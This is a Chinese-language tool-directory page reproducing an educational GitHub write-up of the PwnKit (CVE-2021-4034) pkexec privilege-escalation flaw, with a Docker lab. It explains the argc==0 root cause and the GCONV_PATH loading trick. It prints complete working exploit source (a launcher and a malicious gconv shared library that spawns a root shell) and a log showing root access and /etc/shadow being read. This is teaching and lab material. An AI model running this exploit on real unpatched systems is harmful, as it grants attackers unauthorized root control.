Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
WHS4_CVE-2021-4034 — 针对CVE-2021-4034(PwnKit)本地权限提升漏洞(存在于polkit的pkexec组件中)的教育性PoC与分析,包含基于Docker的实验室,用于实践利用与防御技术。 | Kitploit
工具/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
权限提升漏洞分析漏洞利用CTF渗透测试学习与教育二进制利用实验室与实践
GitHubkrleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

针对CVE-2021-4034(PwnKit)本地权限提升漏洞(存在于polkit的pkexec组件中)的教育性PoC与分析,包含基于Docker的实验室,用于实践利用与防御技术。

查看仓库
132个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-4034 (PwnKit) - 本地权限提升 PoC

🔗 原始项目:berdav/CVE-2021-4034
本项目基于原始项目,出于教育目的进行分析和修改。
遵守 MIT 许可证 | 白帽学校(White Hat School)教育课题


📋 概述

CVE-2021-4034 是 Linux policykit-1(PolicyKit)中的一个本地权限提升漏洞。普通用户可以在不提供参数的情况下执行 pkexec,利用进程内存结构的缺陷,使得本应被过滤的环境变量字符串被 glib 再次引用,从而加载恶意的 .so 文件,最终获取 root 权限。

⚠️ 仅供教育用途:此代码只能在经过修改的系统中使用。
若用于攻击真实系统,可能会承担法律责任。


🎯 漏洞概要

项目内容
CVE IDCVE-2021-4034
漏洞名称PwnKit
影响版本未应用补丁的 polkit 0.105 之前的所有版本(测试环境:Ubuntu 20.04 上的 policykit-1 0.105-26ubuntu1)
漏洞类型本地权限提升 (LPE)
严重程度严重 (CVSS 7.8)
补丁版本policykit-1 >= 0.105-26ubuntu1.1
发现日期2021 年 6 月(2022 年 1 月公开)

容易被误认为只是 Ubuntu 的问题,但由于这是 pkexec 本身的逻辑缺陷,使用 polkit 的大多数发行版都会受到影响。因为 Docker 测试环境是 Ubuntu 20.04,所以上表也列出了该版本。


🔴 漏洞核心

最初分析时以为是“未验证环境变量导致的问题”,但结合源代码和补丁提交来看,发现顺序其实不太一样。真正的原因另有其物,环境变量问题只是该原因导致的结果。以下是按原因顺序整理的过程。

1. pkexec 是什么?

pkexec 是通过 PolicyKit 请求权限提升的 SUID-root 程序。

# 示例:以 root 权限执行命令
pkexec /bin/id
pkexec systemctl restart service

它用于普通用户以管理员权限执行特定操作。


2. 真正根本原因:pkexec 未处理 argc == 0 的情况

pkexec 的 main() 函数在处理命令行参数时,没有验证参数为零的情况(argc == 0)。这才是该漏洞真正的起点。

  • 正常执行:argv = {"pkexec", "命令", NULL} → argc >= 1
  • 攻击执行:execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

当 argc 为 0 时,argv 列表中只剩下一个表示结束的 NULL。但 pkexec 的内部逻辑仍然尝试读取和写入不存在的 argv[1]。问题在于,Linux 在执行进程时,会将 argv 数组和 envp(环境变量)数组在内存上紧挨着放置。因此,越界的 argv[1] 实际上指向了 envp[0],即第一个环境变量。

正常情况: argv = [ "pkexec" | NULL ]
攻击情况: argv = [ NULL ]                 ← argc = 0
                    ↑
             访问不存在的 argv[1]
                    ↓
     读取并写入内存中紧随其后的 envp[0](越界)

为什么危险:

  • 原本 ld.so 会在 SUID 程序(pkexec)执行前,将 GCONV_PATH、LD_PRELOAD 等危险环境变量标记为不安全并移除。
  • 但由于上述越界操作,本已被移除的字符串并没有“恢复为环境变量”,而是 argv 指针那边重新可以引用该字符串。也就是说,并非值被恢复,而是指向该值的指针连接被重新建立。
  • 实际补丁提交也是通过增加 argc < 1 时立即退出的验证逻辑来修复此问题。(对应 CWE-125 越界读取、CWE-787 越界写入)

📌 总结:环境变量未验证是“攻击得以进行的条件”,而真正的漏洞根因(root cause)是 pkexec 未处理 argc == 0 的情况。下面的第 3 点是由此原因导致的结果。


3. 结果:本应被过滤的字符串再次变得可引用

由于第 2 点中描述的越界行为,pkexec 在初始化 glib 时,这个字符串被未经验证地再次使用。

// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 原本应由 ld.so 过滤掉
    "CHARSET=PWNKIT",    // 不存在的编码
};

execve("/usr/bin/pkexec", args, env);  // argv 为空,造成 argc=0

问题:

  • 由于第 2 点的越界,该字符串再次变为可引用状态,并直接流入 glib 初始化阶段
  • glib 无法区分该值是原本存在的正常环境变量,还是攻击者恢复的

4. 滥用 glib 的转换器加载机制

这里重点是 glib 本身并没有做错。如果设置了 GCONV_PATH,则从该路径查找转换器是 glib 的正常行为。问题在于 pkexec 已经破坏了安全执行状态(危险环境变量已被移除的状态)——glib 只是正常运行,但其正常行为被利用了。

  1. 检查 CHARSET 环境变量

    CHARSET=PWNKIT
    
  2. 在 gconv-modules 文件中查找转换器定义

    module UTF-8// PWNKIT// pwnkit 1
    
  3. 从 GCONV_PATH 加载 .so 文件

    GCONV_PATH=. → 在当前目录查找 pwnkit.so
    
  4. 自动执行 .so 文件的初始化函数

    // pwnkit.c - 加载 .so 文件时自动执行
    void gconv_init(void *step)
    {
        setuid(0);           // 获取 root 权限
        setgid(0);
        execve("/bin/sh");   // 执行 root shell!
    }
    

    容易把 gconv_init 称为“构造函数”,但严格来说它与 C 的 __attribute__((constructor)) 不同。准确地说,它是 gconv 模块接口中定义的初始化函数,glib 使用 dlopen 加载 .so 后显式调用该函数。


5. 完整攻击流程

┌─────────────────────────────────────┐
│ 普通用户 (uid=1000)                   │
└─────────────────────────────────────┘
          │
          │ 1. 清空 argv 并执行 pkexec (argc=0)
          │    + 设置恶意环境变量
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ pkexec 执行                           │
│ 未验证 argc → 越界 → 字符串再次被引用   │
└─────────────────────────────────────┘
          │
          │ 2. glib 按正常逻辑处理
          │    查找 CHARSET=PWNKIT 编码
          │    在 GCONV_PATH=. 中寻找转换器
          ↓
┌─────────────────────────────────────┐
│ 加载 pwnkit.so                        │
│ (当前目录下的恶意 .so 文件)           │
└─────────────────────────────────────┘
          │
          │ 3. 自动执行 gconv 初始化函数(root 权限!)
          ↓
┌─────────────────────────────────────┐
│ 获取 root shell ✅                    │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 快速开始

必需条件

  • Docker(或 Docker Desktop)
  • git
  • Linux 环境(或 WSL 2)

执行命令

# 1. 获取项目
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. 更新至最新版本
git pull origin main

# 3. 构建(无缓存)
docker compose build --no-cache

# 4. 执行
docker compose up

docker system prune -a --volumes --force 仅在缓存或卷出现问题导致上述方法无效时才推荐使用。这是一个比较激进的命令,会清除整个系统的 Docker 缓存,可能导致其他项目的缓存也被清除。相关内容在下面的“遇到的问题及解决方法”中另行整理。

预期结果

pwnkit  | 当前权限(攻击前): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 成功! ✅

实际结果


📁 项目结构

WHS4_CVE-2021-4034/
├── docker-compose.yml          # Docker Compose 配置
├── Dockerfile                   # 存在漏洞的 Ubuntu 20.04 环境
├── start.sh                     # 容器初始化及自动执行
├── Makefile                     # 构建配置
├── CVE-2021-4034_exploit.c      # Exploit 代码(调用 pkexec)
├── pwnkit.c                     # 恶意 .so 文件(权限提升)
├── gconv-modules                # glib 转换器映射
├── README.md                    # 本文档
└── LICENSE                      # MIT 许可证

💻 PoC 代码分析

CVE-2021-4034_exploit.c

#include <unistd.h>

int main(int argc, char *argv[])
{
    // 不为 pkexec 指定要执行的程序
    // (args 中只有 NULL)→ 这就是造成 argc=0 的部分
    char * const args[] = {
        NULL
    };

    // 🔴 未经验证的恶意环境变量
    // 由于 argc=0 导致的越界,它们再次变为可引用状态,直接传递给 pkexec
    char * const env[] = {
        "GCONV_PATH=.",          // 转换器路径(当前目录)
        "CHARSET=PWNKIT",        // 不存在的编码
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // 执行 pkexec(不带参数 → 触发 argc=0)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

核心:

  • args 中甚至不包含 pkexec 本身的名称,使得 argc 为 0 → 触发根本原因(未验证 argc)
  • GCONV_PATH=.:越界后再次可引用,glib 从该路径查找转换器
  • CHARSET=PWNKIT:诱导 glib 查找该编码的转换器

pwnkit.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// 使 .so 文件被识别为转换器所需的函数(形式上必需)
void gconv()
{
}

// 🎯 CVE-2021-4034 的核心
// 加载 .so 文件时,glib 使用 dlopen 后显式调用的初始化函数
// 该函数以 root 权限执行!← 核心漏洞!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // 执行 root shell
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // 显式设置 root 权限(虽然已经是 root)
    setuid(0);
    setgid(0);

    // 执行 root shell ← 权限提升成功!
    execve(args[0], args, env);

    exit(0);
}

核心:

  • gconv_init() 不是 C 构造函数属性,而是根据 gconv 模块接口规范,glib 在 dlopen 后直接调用的初始化函数
  • 由于 pkexec 以 root 权限运行,因此该函数也以 root 权限执行
  • 因此,执行 setuid(0) 后再执行 shell 即可直接得到 root shell

✅ 验证结果

以下验证结果基于自行搭建环境并亲自实施利用的情况。如果按快速开始执行,不会得到如下结果。

如果希望得到如下结果,需要利用该仓库中的 Dockerfile、start.sh 等文件自行搭建环境。

但由于 start.sh 和 Dockerfile 等文件是为了符合课题格式而进行了自动化,直接使用可能不会得到期望的结果。

因此,需要直接修改这些文件。

攻击前

$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

实际攻击前权限

实际上该截图是首次利用成功时的画面,上方显示了用户权限。

执行攻击

$ ./CVE-2021-4034_exploit

注意:exploit 本身不需要 sudo。由于 pkexec 本身就是 SUID-root 二进制程序,仅凭普通用户权限即可获得 root shell 正是该漏洞的核心。在 Docker 测试环境中曾使用过 sudo -E,但这只是为了方便检查 NOPASSWD 设置,与漏洞本身无关。

攻击后

# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (只有 root 才能看到的内容)

实际攻击后权限

下载工具